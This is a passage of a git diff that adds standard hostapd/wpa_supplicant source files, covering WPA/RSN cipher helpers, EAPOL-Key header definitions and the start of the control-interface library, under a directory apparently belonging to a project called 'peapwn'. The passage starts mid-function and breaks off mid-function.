-1; + } + WPA_PUT_LE16(rpos, 1); + rpos += 2; + os_memmove(rpos + PMKID_LEN, rpos, end - rpos); + os_memcpy(rpos, pmkid, PMKID_LEN); + added += PMKID_LEN; + start[1] += PMKID_LEN; + } + + wpa_hexdump(MSG_DEBUG, "FT: RSN IE after modification " + "(PMKID inserted)", start, 2 + start[1]); + + return added; +} +#endif /* CONFIG_IEEE80211R */ + + +int wpa_cipher_key_len(int cipher) +{ + switch (cipher) { + case WPA_CIPHER_CCMP: + case WPA_CIPHER_GCMP: + return 16; + case WPA_CIPHER_TKIP: + return 32; + case WPA_CIPHER_WEP104: + return 13; + case WPA_CIPHER_WEP40: + return 5; + } + + return 0; +} + + +int wpa_cipher_rsc_len(int cipher) +{ + switch (cipher) { + case WPA_CIPHER_CCMP: + case WPA_CIPHER_GCMP: + case WPA_CIPHER_TKIP: + return 6; + case WPA_CIPHER_WEP104: + case WPA_CIPHER_WEP40: + return 0; + } + + return 0; +} + + +int wpa_cipher_to_alg(int cipher) +{ + switch (cipher) { + case WPA_CIPHER_CCMP: + return WPA_ALG_CCMP; + case WPA_CIPHER_GCMP: + return WPA_ALG_GCMP; + case WPA_CIPHER_TKIP: + return WPA_ALG_TKIP; + case WPA_CIPHER_WEP104: + case WPA_CIPHER_WEP40: + return WPA_ALG_WEP; + } + return WPA_ALG_NONE; +} + + +enum wpa_cipher wpa_cipher_to_suite_driver(int cipher) +{ + switch (cipher) { + case WPA_CIPHER_NONE: + return CIPHER_NONE; + case WPA_CIPHER_WEP40: + return CIPHER_WEP40; + case WPA_CIPHER_WEP104: + return CIPHER_WEP104; + case WPA_CIPHER_CCMP: + return CIPHER_CCMP; + case WPA_CIPHER_GCMP: + return CIPHER_GCMP; + case WPA_CIPHER_TKIP: + default: + return CIPHER_TKIP; + } +} + + +int wpa_cipher_valid_pairwise(int cipher) +{ + return cipher == WPA_CIPHER_CCMP || + cipher == WPA_CIPHER_GCMP || + cipher == WPA_CIPHER_TKIP; +} + + +u32 wpa_cipher_to_suite(int proto, int cipher) +{ + if (cipher & WPA_CIPHER_CCMP) + return (proto == WPA_PROTO_RSN ? + RSN_CIPHER_SUITE_CCMP : WPA_CIPHER_SUITE_CCMP); + if (cipher & WPA_CIPHER_GCMP) + return RSN_CIPHER_SUITE_GCMP; + if (cipher & WPA_CIPHER_TKIP) + return (proto == WPA_PROTO_RSN ? + RSN_CIPHER_SUITE_TKIP : WPA_CIPHER_SUITE_TKIP); + if (cipher & WPA_CIPHER_WEP104) + return (proto == WPA_PROTO_RSN ? + RSN_CIPHER_SUITE_WEP104 : WPA_CIPHER_SUITE_WEP104); + if (cipher & WPA_CIPHER_WEP40) + return (proto == WPA_PROTO_RSN ? + RSN_CIPHER_SUITE_WEP40 : WPA_CIPHER_SUITE_WEP40); + if (cipher & WPA_CIPHER_NONE) + return (proto == WPA_PROTO_RSN ? + RSN_CIPHER_SUITE_NONE : WPA_CIPHER_SUITE_NONE); + return 0; +} + + +int rsn_cipher_put_suites(u8 *pos, int ciphers) +{ + int num_suites = 0; + + if (ciphers & WPA_CIPHER_CCMP) { + RSN_SELECTOR_PUT(pos, RSN_CIPHER_SUITE_CCMP); + pos += RSN_SELECTOR_LEN; + num_suites++; + } + if (ciphers & WPA_CIPHER_GCMP) { + RSN_SELECTOR_PUT(pos, RSN_CIPHER_SUITE_GCMP); + pos += RSN_SELECTOR_LEN; + num_suites++; + } + if (ciphers & WPA_CIPHER_TKIP) { + RSN_SELECTOR_PUT(pos, RSN_CIPHER_SUITE_TKIP); + pos += RSN_SELECTOR_LEN; + num_suites++; + } + if (ciphers & WPA_CIPHER_NONE) { + RSN_SELECTOR_PUT(pos, RSN_CIPHER_SUITE_NONE); + pos += RSN_SELECTOR_LEN; + num_suites++; + } + + return num_suites; +} + + +int wpa_cipher_put_suites(u8 *pos, int ciphers) +{ + int num_suites = 0; + + if (ciphers & WPA_CIPHER_CCMP) { + RSN_SELECTOR_PUT(pos, WPA_CIPHER_SUITE_CCMP); + pos += WPA_SELECTOR_LEN; + num_suites++; + } + if (ciphers & WPA_CIPHER_TKIP) { + RSN_SELECTOR_PUT(pos, WPA_CIPHER_SUITE_TKIP); + pos += WPA_SELECTOR_LEN; + num_suites++; + } + if (ciphers & WPA_CIPHER_NONE) { + RSN_SELECTOR_PUT(pos, WPA_CIPHER_SUITE_NONE); + pos += WPA_SELECTOR_LEN; + num_suites++; + } + + return num_suites; +} + + +int wpa_pick_pairwise_cipher(int ciphers, int none_allowed) +{ + if (ciphers & WPA_CIPHER_CCMP) + return WPA_CIPHER_CCMP; + if (ciphers & WPA_CIPHER_GCMP) + return WPA_CIPHER_GCMP; + if (ciphers & WPA_CIPHER_TKIP) + return WPA_CIPHER_TKIP; + if (none_allowed && (ciphers & WPA_CIPHER_NONE)) + return WPA_CIPHER_NONE; + return -1; +} + + +int wpa_pick_group_cipher(int ciphers) +{ + if (ciphers & WPA_CIPHER_CCMP) + return WPA_CIPHER_CCMP; + if (ciphers & WPA_CIPHER_GCMP) + return WPA_CIPHER_GCMP; + if (ciphers & WPA_CIPHER_TKIP) + return WPA_CIPHER_TKIP; + if (ciphers & WPA_CIPHER_WEP104) + return WPA_CIPHER_WEP104; + if (ciphers & WPA_CIPHER_WEP40) + return WPA_CIPHER_WEP40; + return -1; +} + + +int wpa_parse_cipher(const char *value) +{ + int val = 0, last; + char *start, *end, *buf; + + buf = os_strdup(value); + if (buf == NULL) + return -1; + start = buf; + + while (*start != '\0') { + while (*start == ' ' || *start == '\t') + start++; + if (*start == '\0') + break; + end = start; + while (*end != ' ' && *end != '\t' && *end != '\0') + end++; + last = *end == '\0'; + *end = '\0'; + if (os_strcmp(start, "CCMP") == 0) + val |= WPA_CIPHER_CCMP; + else if (os_strcmp(start, "GCMP") == 0) + val |= WPA_CIPHER_GCMP; + else if (os_strcmp(start, "TKIP") == 0) + val |= WPA_CIPHER_TKIP; + else if (os_strcmp(start, "WEP104") == 0) + val |= WPA_CIPHER_WEP104; + else if (os_strcmp(start, "WEP40") == 0) + val |= WPA_CIPHER_WEP40; + else if (os_strcmp(start, "NONE") == 0) + val |= WPA_CIPHER_NONE; + else { + os_free(buf); + return -1; + } + + if (last) + break; + start = end + 1; + } + os_free(buf); + + return val; +} + + +int wpa_write_ciphers(char *start, char *end, int ciphers, const char *delim) +{ + char *pos = start; + int ret; + + if (ciphers & WPA_CIPHER_CCMP) { + ret = os_snprintf(pos, end - pos, "%sCCMP", + pos == start ? "" : delim); + if (ret < 0 || ret >= end - pos) + return -1; + pos += ret; + } + if (ciphers & WPA_CIPHER_GCMP) { + ret = os_snprintf(pos, end - pos, "%sGCMP", + pos == start ? "" : delim); + if (ret < 0 || ret >= end - pos) + return -1; + pos += ret; + } + if (ciphers & WPA_CIPHER_TKIP) { + ret = os_snprintf(pos, end - pos, "%sTKIP", + pos == start ? "" : delim); + if (ret < 0 || ret >= end - pos) + return -1; + pos += ret; + } + if (ciphers & WPA_CIPHER_WEP104) { + ret = os_snprintf(pos, end - pos, "%sWEP104", + pos == start ? "" : delim); + if (ret < 0 || ret >= end - pos) + return -1; + pos += ret; + } + if (ciphers & WPA_CIPHER_WEP40) { + ret = os_snprintf(pos, end - pos, "%sWEP40", + pos == start ? "" : delim); + if (ret < 0 || ret >= end - pos) + return -1; + pos += ret; + } + if (ciphers & WPA_CIPHER_NONE) { + ret = os_snprintf(pos, end - pos, "%sNONE", + pos == start ? "" : delim); + if (ret < 0 || ret >= end - pos) + return -1; + pos += ret; + } + + return pos - start; +} + + +int wpa_select_ap_group_cipher(int wpa, int wpa_pairwise, int rsn_pairwise) +{ + int pairwise = 0; + + /* Select group cipher based on the enabled pairwise cipher suites */ + if (wpa & 1) + pairwise |= wpa_pairwise; + if (wpa & 2) + pairwise |= rsn_pairwise; + + if (pairwise & WPA_CIPHER_TKIP) + return WPA_CIPHER_TKIP; + if ((pairwise & (WPA_CIPHER_CCMP | WPA_CIPHER_GCMP)) == WPA_CIPHER_GCMP) + return WPA_CIPHER_GCMP; + return WPA_CIPHER_CCMP; +} diff --git a/peapwn/mods/hostap/src/common/wpa_common.h b/peapwn/mods/hostap/src/common/wpa_common.h new file mode 100644 index 000000000..2d6366239 --- /dev/null +++ b/peapwn/mods/hostap/src/common/wpa_common.h @@ -0,0 +1,406 @@ +/* + * WPA definitions shared between hostapd and wpa_supplicant + * Copyright (c) 2002-2013, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef WPA_COMMON_H +#define WPA_COMMON_H + +#define WPA_MAX_SSID_LEN 32 + +/* IEEE 802.11i */ +#define PMKID_LEN 16 +#define PMK_LEN 32 +#define WPA_REPLAY_COUNTER_LEN 8 +#define WPA_NONCE_LEN 32 +#define WPA_KEY_RSC_LEN 8 +#define WPA_GMK_LEN 32 +#define WPA_GTK_MAX_LEN 32 + +#define WPA_ALLOWED_PAIRWISE_CIPHERS \ +(WPA_CIPHER_CCMP | WPA_CIPHER_GCMP | WPA_CIPHER_TKIP | WPA_CIPHER_NONE) +#define WPA_ALLOWED_GROUP_CIPHERS \ +(WPA_CIPHER_CCMP | WPA_CIPHER_GCMP | WPA_CIPHER_TKIP | WPA_CIPHER_WEP104 | \ +WPA_CIPHER_WEP40) + +#define WPA_SELECTOR_LEN 4 +#define WPA_VERSION 1 +#define RSN_SELECTOR_LEN 4 +#define RSN_VERSION 1 + +#define RSN_SELECTOR(a, b, c, d) \ + ((((u32) (a)) << 24) | (((u32) (b)) << 16) | (((u32) (c)) << 8) | \ + (u32) (d)) + +#define WPA_AUTH_KEY_MGMT_NONE RSN_SELECTOR(0x00, 0x50, 0xf2, 0) +#define WPA_AUTH_KEY_MGMT_UNSPEC_802_1X RSN_SELECTOR(0x00, 0x50, 0xf2, 1) +#define WPA_AUTH_KEY_MGMT_PSK_OVER_802_1X RSN_SELECTOR(0x00, 0x50, 0xf2, 2) +#define WPA_AUTH_KEY_MGMT_CCKM RSN_SELECTOR(0x00, 0x40, 0x96, 0) +#define WPA_CIPHER_SUITE_NONE RSN_SELECTOR(0x00, 0x50, 0xf2, 0) +#define WPA_CIPHER_SUITE_WEP40 RSN_SELECTOR(0x00, 0x50, 0xf2, 1) +#define WPA_CIPHER_SUITE_TKIP RSN_SELECTOR(0x00, 0x50, 0xf2, 2) +#if 0 +#define WPA_CIPHER_SUITE_WRAP RSN_SELECTOR(0x00, 0x50, 0xf2, 3) +#endif +#define WPA_CIPHER_SUITE_CCMP RSN_SELECTOR(0x00, 0x50, 0xf2, 4) +#define WPA_CIPHER_SUITE_WEP104 RSN_SELECTOR(0x00, 0x50, 0xf2, 5) + + +#define RSN_AUTH_KEY_MGMT_UNSPEC_802_1X RSN_SELECTOR(0x00, 0x0f, 0xac, 1) +#define RSN_AUTH_KEY_MGMT_PSK_OVER_802_1X RSN_SELECTOR(0x00, 0x0f, 0xac, 2) +#ifdef CONFIG_IEEE80211R +#define RSN_AUTH_KEY_MGMT_FT_802_1X RSN_SELECTOR(0x00, 0x0f, 0xac, 3) +#define RSN_AUTH_KEY_MGMT_FT_PSK RSN_SELECTOR(0x00, 0x0f, 0xac, 4) +#endif /* CONFIG_IEEE80211R */ +#define RSN_AUTH_KEY_MGMT_802_1X_SHA256 RSN_SELECTOR(0x00, 0x0f, 0xac, 5) +#define RSN_AUTH_KEY_MGMT_PSK_SHA256 RSN_SELECTOR(0x00, 0x0f, 0xac, 6) +#define RSN_AUTH_KEY_MGMT_TPK_HANDSHAKE RSN_SELECTOR(0x00, 0x0f, 0xac, 7) +#define RSN_AUTH_KEY_MGMT_SAE RSN_SELECTOR(0x00, 0x0f, 0xac, 8) +#define RSN_AUTH_KEY_MGMT_FT_SAE RSN_SELECTOR(0x00, 0x0f, 0xac, 9) +#define RSN_AUTH_KEY_MGMT_CCKM RSN_SELECTOR(0x00, 0x40, 0x96, 0x00) + +#define RSN_CIPHER_SUITE_NONE RSN_SELECTOR(0x00, 0x0f, 0xac, 0) +#define RSN_CIPHER_SUITE_WEP40 RSN_SELECTOR(0x00, 0x0f, 0xac, 1) +#define RSN_CIPHER_SUITE_TKIP RSN_SELECTOR(0x00, 0x0f, 0xac, 2) +#if 0 +#define RSN_CIPHER_SUITE_WRAP RSN_SELECTOR(0x00, 0x0f, 0xac, 3) +#endif +#define RSN_CIPHER_SUITE_CCMP RSN_SELECTOR(0x00, 0x0f, 0xac, 4) +#define RSN_CIPHER_SUITE_WEP104 RSN_SELECTOR(0x00, 0x0f, 0xac, 5) +#ifdef CONFIG_IEEE80211W +#define RSN_CIPHER_SUITE_AES_128_CMAC RSN_SELECTOR(0x00, 0x0f, 0xac, 6) +#endif /* CONFIG_IEEE80211W */ +#define RSN_CIPHER_SUITE_NO_GROUP_ADDRESSED RSN_SELECTOR(0x00, 0x0f, 0xac, 7) +#define RSN_CIPHER_SUITE_GCMP RSN_SELECTOR(0x00, 0x0f, 0xac, 8) + +/* EAPOL-Key Key Data Encapsulation + * GroupKey and PeerKey require encryption, otherwise, encryption is optional. + */ +#define RSN_KEY_DATA_GROUPKEY RSN_SELECTOR(0x00, 0x0f, 0xac, 1) +#if 0 +#define RSN_KEY_DATA_STAKEY RSN_SELECTOR(0x00, 0x0f, 0xac, 2) +#endif +#define RSN_KEY_DATA_MAC_ADDR RSN_SELECTOR(0x00, 0x0f, 0xac, 3) +#define RSN_KEY_DATA_PMKID RSN_SELECTOR(0x00, 0x0f, 0xac, 4) +#ifdef CONFIG_PEERKEY +#define RSN_KEY_DATA_SMK RSN_SELECTOR(0x00, 0x0f, 0xac, 5) +#define RSN_KEY_DATA_NONCE RSN_SELECTOR(0x00, 0x0f, 0xac, 6) +#define RSN_KEY_DATA_LIFETIME RSN_SELECTOR(0x00, 0x0f, 0xac, 7) +#define RSN_KEY_DATA_ERROR RSN_SELECTOR(0x00, 0x0f, 0xac, 8) +#endif /* CONFIG_PEERKEY */ +#ifdef CONFIG_IEEE80211W +#define RSN_KEY_DATA_IGTK RSN_SELECTOR(0x00, 0x0f, 0xac, 9) +#endif /* CONFIG_IEEE80211W */ +#define RSN_KEY_DATA_KEYID RSN_SELECTOR(0x00, 0x0f, 0xac, 10) +#define RSN_KEY_DATA_MULTIBAND_GTK RSN_SELECTOR(0x00, 0x0f, 0xac, 11) +#define RSN_KEY_DATA_MULTIBAND_KEYID RSN_SELECTOR(0x00, 0x0f, 0xac, 12) + +#define WPA_OUI_TYPE RSN_SELECTOR(0x00, 0x50, 0xf2, 1) + +#define RSN_SELECTOR_PUT(a, val) WPA_PUT_BE32((u8 *) (a), (val)) +#define RSN_SELECTOR_GET(a) WPA_GET_BE32((const u8 *) (a)) + +#define RSN_NUM_REPLAY_COUNTERS_1 0 +#define RSN_NUM_REPLAY_COUNTERS_2 1 +#define RSN_NUM_REPLAY_COUNTERS_4 2 +#define RSN_NUM_REPLAY_COUNTERS_16 3 + + +#ifdef _MSC_VER +#pragma pack(push, 1) +#endif /* _MSC_VER */ + +#ifdef CONFIG_IEEE80211W +#define WPA_IGTK_LEN 16 +#endif /* CONFIG_IEEE80211W */ + + +/* IEEE 802.11, 7.3.2.25.3 RSN Capabilities */ +#define WPA_CAPABILITY_PREAUTH BIT(0) +#define WPA_CAPABILITY_NO_PAIRWISE BIT(1) +/* B2-B3: PTKSA Replay Counter */ +/* B4-B5: GTKSA Replay Counter */ +#define WPA_CAPABILITY_MFPR BIT(6) +#define WPA_CAPABILITY_MFPC BIT(7) +/* B8: Reserved */ +#define WPA_CAPABILITY_PEERKEY_ENABLED BIT(9) +#define WPA_CAPABILITY_SPP_A_MSDU_CAPABLE BIT(10) +#define WPA_CAPABILITY_SPP_A_MSDU_REQUIRED BIT(11) +#define WPA_CAPABILITY_PBAC BIT(12) +#define WPA_CAPABILITY_EXT_KEY_ID_FOR_UNICAST BIT(13) +/* B14-B15: Reserved */ + + +/* IEEE 802.11r */ +#define MOBILITY_DOMAIN_ID_LEN 2 +#define FT_R0KH_ID_MAX_LEN 48 +#define FT_R1KH_ID_LEN 6 +#define WPA_PMK_NAME_LEN 16 + + +/* IEEE 802.11, 8.5.2 EAPOL-Key frames */ +#define WPA_KEY_INFO_TYPE_MASK ((u16) (BIT(0) | BIT(1) | BIT(2))) +#define WPA_KEY_INFO_TYPE_HMAC_MD5_RC4 BIT(0) +#define WPA_KEY_INFO_TYPE_HMAC_SHA1_AES BIT(1) +#define WPA_KEY_INFO_TYPE_AES_128_CMAC 3 +#define WPA_KEY_INFO_KEY_TYPE BIT(3) /* 1 = Pairwise, 0 = Group key */ +/* bit4..5 is used in WPA, but is reserved in IEEE 802.11i/RSN */ +#define WPA_KEY_INFO_KEY_INDEX_MASK (BIT(4) | BIT(5)) +#define WPA_KEY_INFO_KEY_INDEX_SHIFT 4 +#define WPA_KEY_INFO_INSTALL BIT(6) /* pairwise */ +#define WPA_KEY_INFO_TXRX BIT(6) /* group */ +#define WPA_KEY_INFO_ACK BIT(7) +#define WPA_KEY_INFO_MIC BIT(8) +#define WPA_KEY_INFO_SECURE BIT(9) +#define WPA_KEY_INFO_ERROR BIT(10) +#define WPA_KEY_INFO_REQUEST BIT(11) +#define WPA_KEY_INFO_ENCR_KEY_DATA BIT(12) /* IEEE 802.11i/RSN only */ +#define WPA_KEY_INFO_SMK_MESSAGE BIT(13) + + +struct wpa_eapol_key { + u8 type; + /* Note: key_info, key_length, and key_data_length are unaligned */ + u8 key_info[2]; /* big endian */ + u8 key_length[2]; /* big endian */ + u8 replay_counter[WPA_REPLAY_COUNTER_LEN]; + u8 key_nonce[WPA_NONCE_LEN]; + u8 key_iv[16]; + u8 key_rsc[WPA_KEY_RSC_LEN]; + u8 key_id[8]; /* Reserved in IEEE 802.11i/RSN */ + u8 key_mic[16]; + u8 key_data_length[2]; /* big endian */ + /* followed by key_data_length bytes of key_data */ +} STRUCT_PACKED; + +/** + * struct wpa_ptk - WPA Pairwise Transient Key + * IEEE Std 802.11i-2004 - 8.5.1.2 Pairwise key hierarchy + */ +struct wpa_ptk { + u8 kck[16]; /* EAPOL-Key Key Confirmation Key (KCK) */ + u8 kek[16]; /* EAPOL-Key Key Encryption Key (KEK) */ + u8 tk1[16]; /* Temporal Key 1 (TK1) */ + union { + u8 tk2[16]; /* Temporal Key 2 (TK2) */ + struct { + u8 tx_mic_key[8]; + u8 rx_mic_key[8]; + } auth; + } u; +} STRUCT_PACKED; + + +/* WPA IE version 1 + * 00-50-f2:1 (OUI:OUI type) + * 0x01 0x00 (version; little endian) + * (all following fields are optional:) + * Group Suite Selector (4 octets) (default: TKIP) + * Pairwise Suite Count (2 octets, little endian) (default: 1) + * Pairwise Suite List (4 * n octets) (default: TKIP) + * Authenticated Key Management Suite Count (2 octets, little endian) + * (default: 1) + * Authenticated Key Management Suite List (4 * n octets) + * (default: unspec 802.1X) + * WPA Capabilities (2 octets, little endian) (default: 0) + */ + +struct wpa_ie_hdr { + u8 elem_id; + u8 len; + u8 oui[4]; /* 24-bit OUI followed by 8-bit OUI type */ + u8 version[2]; /* little endian */ +} STRUCT_PACKED; + + +/* 1/4: PMKID + * 2/4: RSN IE + * 3/4: one or two RSN IEs + GTK IE (encrypted) + * 4/4: empty + * 1/2: GTK IE (encrypted) + * 2/2: empty + */ + +/* RSN IE version 1 + * 0x01 0x00 (version; little endian) + * (all following fields are optional:) + * Group Suite Selector (4 octets) (default: CCMP) + * Pairwise Suite Count (2 octets, little endian) (default: 1) + * Pairwise Suite List (4 * n octets) (default: CCMP) + * Authenticated Key Management Suite Count (2 octets, little endian) + * (default: 1) + * Authenticated Key Management Suite List (4 * n octets) + * (default: unspec 802.1X) + * RSN Capabilities (2 octets, little endian) (default: 0) + * PMKID Count (2 octets) (default: 0) + * PMKID List (16 * n octets) + * Management Group Cipher Suite (4 octets) (default: AES-128-CMAC) + */ + +struct rsn_ie_hdr { + u8 elem_id; /* WLAN_EID_RSN */ + u8 len; + u8 version[2]; /* little endian */ +} STRUCT_PACKED; + + +#ifdef CONFIG_PEERKEY +enum { + STK_MUI_4WAY_STA_AP = 1, + STK_MUI_4WAY_STAT_STA = 2, + STK_MUI_GTK = 3, + STK_MUI_SMK = 4 +}; + +enum { + STK_ERR_STA_NR = 1, + STK_ERR_STA_NRSN = 2, + STK_ERR_CPHR_NS = 3, + STK_ERR_NO_STSL = 4 +}; +#endif /* CONFIG_PEERKEY */ + +struct rsn_error_kde { + be16 mui; + be16 error_type; +} STRUCT_PACKED; + +#ifdef CONFIG_IEEE80211W +struct wpa_igtk_kde { + u8 keyid[2]; + u8 pn[6]; + u8 igtk[WPA_IGTK_LEN]; +} STRUCT_PACKED; +#endif /* CONFIG_IEEE80211W */ + +#ifdef CONFIG_IEEE80211R +struct rsn_mdie { + u8 mobility_domain[MOBILITY_DOMAIN_ID_LEN]; + u8 ft_capab; +} STRUCT_PACKED; + +#define RSN_FT_CAPAB_FT_OVER_DS BIT(0) +#define RSN_FT_CAPAB_FT_RESOURCE_REQ_SUPP BIT(1) + +struct rsn_ftie { + u8 mic_control[2]; + u8 mic[16]; + u8 anonce[WPA_NONCE_LEN]; + u8 snonce[WPA_NONCE_LEN]; + /* followed by optional parameters */ +} STRUCT_PACKED; + +#define FTIE_SUBELEM_R1KH_ID 1 +#define FTIE_SUBELEM_GTK 2 +#define FTIE_SUBELEM_R0KH_ID 3 +#define FTIE_SUBELEM_IGTK 4 + +struct rsn_rdie { + u8 id; + u8 descr_count; + le16 status_code; +} STRUCT_PACKED; + +#endif /* CONFIG_IEEE80211R */ + +#ifdef _MSC_VER +#pragma pack(pop) +#endif /* _MSC_VER */ + + +int wpa_eapol_key_mic(const u8 *key, int ver, const u8 *buf, size_t len, + u8 *mic); +void wpa_pmk_to_ptk(const u8 *pmk, size_t pmk_len, const char *label, + const u8 *addr1, const u8 *addr2, + const u8 *nonce1, const u8 *nonce2, + u8 *ptk, size_t ptk_len, int use_sha256); + +#ifdef CONFIG_IEEE80211R +int wpa_ft_mic(const u8 *kck, const u8 *sta_addr, const u8 *ap_addr, + u8 transaction_seqnum, const u8 *mdie, size_t mdie_len, + const u8 *ftie, size_t ftie_len, + const u8 *rsnie, size_t rsnie_len, + const u8 *ric, size_t ric_len, u8 *mic); +void wpa_derive_pmk_r0(const u8 *xxkey, size_t xxkey_len, + const u8 *ssid, size_t ssid_len, + const u8 *mdid, const u8 *r0kh_id, size_t r0kh_id_len, + const u8 *s0kh_id, u8 *pmk_r0, u8 *pmk_r0_name); +void wpa_derive_pmk_r1_name(const u8 *pmk_r0_name, const u8 *r1kh_id, + const u8 *s1kh_id, u8 *pmk_r1_name); +void wpa_derive_pmk_r1(const u8 *pmk_r0, const u8 *pmk_r0_name, + const u8 *r1kh_id, const u8 *s1kh_id, + u8 *pmk_r1, u8 *pmk_r1_name); +void wpa_pmk_r1_to_ptk(const u8 *pmk_r1, const u8 *snonce, const u8 *anonce, + const u8 *sta_addr, const u8 *bssid, + const u8 *pmk_r1_name, + u8 *ptk, size_t ptk_len, u8 *ptk_name); +#endif /* CONFIG_IEEE80211R */ + +struct wpa_ie_data { + int proto; + int pairwise_cipher; + int group_cipher; + int key_mgmt; + int capabilities; + size_t num_pmkid; + const u8 *pmkid; + int mgmt_group_cipher; +}; + + +int wpa_parse_wpa_ie_rsn(const u8 *rsn_ie, size_t rsn_ie_len, + struct wpa_ie_data *data); +int wpa_parse_wpa_ie_wpa(const u8 *wpa_ie, size_t wpa_ie_len, + struct wpa_ie_data *data); + +void rsn_pmkid(const u8 *pmk, size_t pmk_len, const u8 *aa, const u8 *spa, + u8 *pmkid, int use_sha256); + +const char * wpa_cipher_txt(int cipher); +const char * wpa_key_mgmt_txt(int key_mgmt, int proto); +int wpa_compare_rsn_ie(int ft_initial_assoc, + const u8 *ie1, size_t ie1len, + const u8 *ie2, size_t ie2len); +int wpa_insert_pmkid(u8 *ies, size_t ies_len, const u8 *pmkid); + +struct wpa_ft_ies { + const u8 *mdie; + size_t mdie_len; + const u8 *ftie; + size_t ftie_len; + const u8 *r1kh_id; + const u8 *gtk; + size_t gtk_len; + const u8 *r0kh_id; + size_t r0kh_id_len; + const u8 *rsn; + size_t rsn_len; + const u8 *rsn_pmkid; + const u8 *tie; + size_t tie_len; + const u8 *igtk; + size_t igtk_len; + const u8 *ric; + size_t ric_len; +}; + +int wpa_ft_parse_ies(const u8 *ies, size_t ies_len, struct wpa_ft_ies *parse); + +int wpa_cipher_key_len(int cipher); +int wpa_cipher_rsc_len(int cipher); +int wpa_cipher_to_alg(int cipher); +enum wpa_cipher wpa_cipher_to_suite_driver(int cipher); +int wpa_cipher_valid_pairwise(int cipher); +u32 wpa_cipher_to_suite(int proto, int cipher); +int rsn_cipher_put_suites(u8 *pos, int ciphers); +int wpa_cipher_put_suites(u8 *pos, int ciphers); +int wpa_pick_pairwise_cipher(int ciphers, int none_allowed); +int wpa_pick_group_cipher(int ciphers); +int wpa_parse_cipher(const char *value); +int wpa_write_ciphers(char *start, char *end, int ciphers, const char *delim); +int wpa_select_ap_group_cipher(int wpa, int wpa_pairwise, int rsn_pairwise); + +#endif /* WPA_COMMON_H */ diff --git a/peapwn/mods/hostap/src/common/wpa_ctrl.c b/peapwn/mods/hostap/src/common/wpa_ctrl.c new file mode 100644 index 000000000..83788d7de --- /dev/null +++ b/peapwn/mods/hostap/src/common/wpa_ctrl.c @@ -0,0 +1,671 @@ +/* + * wpa_supplicant/hostapd control interface library + * Copyright (c) 2004-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#ifdef CONFIG_CTRL_IFACE + +#ifdef CONFIG_CTRL_IFACE_UNIX +#include +#include +#include +#endif /* CONFIG_CTRL_IFACE_UNIX */ +#ifdef CONFIG_CTRL_IFACE_UDP_REMOTE +#include +#endif /* CONFIG_CTRL_IFACE_UDP_REMOTE */ + +#ifdef ANDROID +#include +#include +#include "private/android_filesystem_config.h" +#endif /* ANDROID */ + +#include "wpa_ctrl.h" +#include "common.h" + + +#if defined(CONFIG_CTRL_IFACE_UNIX) || defined(CONFIG_CTRL_IFACE_UDP) +#define CTRL_IFACE_SOCKET +#endif /* CONFIG_CTRL_IFACE_UNIX || CONFIG_CTRL_IFACE_UDP */ + + +/** + * struct wpa_ctrl - Internal structure for control interface library + * + * This structure is used by the wpa_supplicant/hostapd control interface + * library to store internal data. Programs using the library should not touch + * this data directly. They can only use the pointer to the data structure as + * an identifier for the control interface connection and use this as one of + * the arguments for most of the control interface library functions. + */ +struct wpa_ctrl { +#ifdef CONFIG_CTRL_IFACE_UDP + int s; + struct sockaddr_in local; + struct sockaddr_in dest; + char *cookie; + char *remote_ifname; + char *remote_ip; +#endif /* CONFIG_CTRL_IFACE_UDP */ +#ifdef CONFIG_CTRL_IFACE_UNIX + int s; + struct sockaddr_un local; + struct sockaddr_un dest; +#endif /* CONFIG_CTRL_IFACE_UNIX */ +#ifdef CONFIG_CTRL_IFACE_NAMED_PIPE + HANDLE pipe; +#endif /* CONFIG_CTRL_IFACE_NAMED_PIPE */ +}; + + +#ifdef CONFIG_CTRL_IFACE_UNIX + +#ifndef CONFIG_CTRL_IFACE_CLIENT_DIR +#define CONFIG_CTRL_IFACE_CLIENT_DIR "/tmp" +#endif /* CONFIG_CTRL_IFACE_CLIENT_DIR */ +#ifndef CONFIG_CTRL_IFACE_CLIENT_PREFIX +#define CONFIG_CTRL_IFACE_CLIENT_PREFIX "wpa_ctrl_" +#endif /* CONFIG_CTRL_IFACE_CLIENT_PREFIX */ + + +struct wpa_ctrl * wpa_ctrl_open(const char *ctrl_path) +{ + struct wpa_ctrl *ctrl; + static int counter = 0; + int ret; + size_t res; + int tries = 0; + int flags; + + if (ctrl_path == NULL) + return NULL; + + ctrl = os_malloc(sizeof(*ctrl)); + if (ctrl == NULL) + return NULL; + os_memset(ctrl, 0, sizeof(*ctrl)); + + ctrl->s = socket(PF_UNIX, SOCK_DGRAM, 0); + if (ctrl->s < 0) { + os_free(ctrl); + return NULL; + } + + ctrl->local.sun_family = AF_UNIX; + counter++; +try_again: + ret = os_snprintf(ctrl->local.sun_path, sizeof(ctrl->local.sun_path), + CONFIG_CTRL_IFACE_CLIENT_DIR "/" + CONFIG_CTRL_IFACE_CLIENT_PREFIX "%d-%d", + (int) getpid(), counter); + if (ret < 0 || (size_t) ret >= sizeof(ctrl->local.sun_path)) { + close(ctrl->s); + os_free(ctrl); + return NULL; + } + tries++; + if (bind(ctrl->s, (struct sockaddr *) &ctrl->local, + sizeof(ctrl->local)) < 0) { + if (errno == EADDRINUSE && tries < 2) { + /* + * getpid() returns unique identifier for this instance + * of wpa_ctrl, so the existing socket file must have + * been left by unclean termination of an earlier run. + * Remove the file and try again. + */ + unlink(ctrl->local.sun_path); + goto try_again; + } + close(ctrl->s); + os_free(ctrl); + return NULL; + } + +#ifdef ANDROID + chmod(ctrl->local.sun_path, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP); + chown(ctrl->local.sun_path, AID_SYSTEM, AID_WIFI); + + if (os_strncmp(ctrl_path, "@android:", 9) == 0) { + if (socket_local_client_connect( + ctrl->s, ctrl_path + 9, + ANDROID_SOCKET_NAMESPACE_RESERVED, + SOCK_DGRAM) < 0) { + close(ctrl->s); + unlink(ctrl->local.sun_path); + os_free(ctrl); + return NULL; + } + return ctrl; + } + + /* + * If the ctrl_path isn't an absolute pathname, assume that + * it's the name of a socket in the Android reserved namespace. + * Otherwise, it's a normal UNIX domain socket appearing in the + * filesystem. + */ + if (*ctrl_path != '/') { + char buf[21]; + os_snprintf(buf, sizeof(buf), "wpa_%s", ctrl_path); + if (socket_local_client_connect( + ctrl->s, buf, + ANDROID_SOCKET_NAMESPACE_RESERVED, + 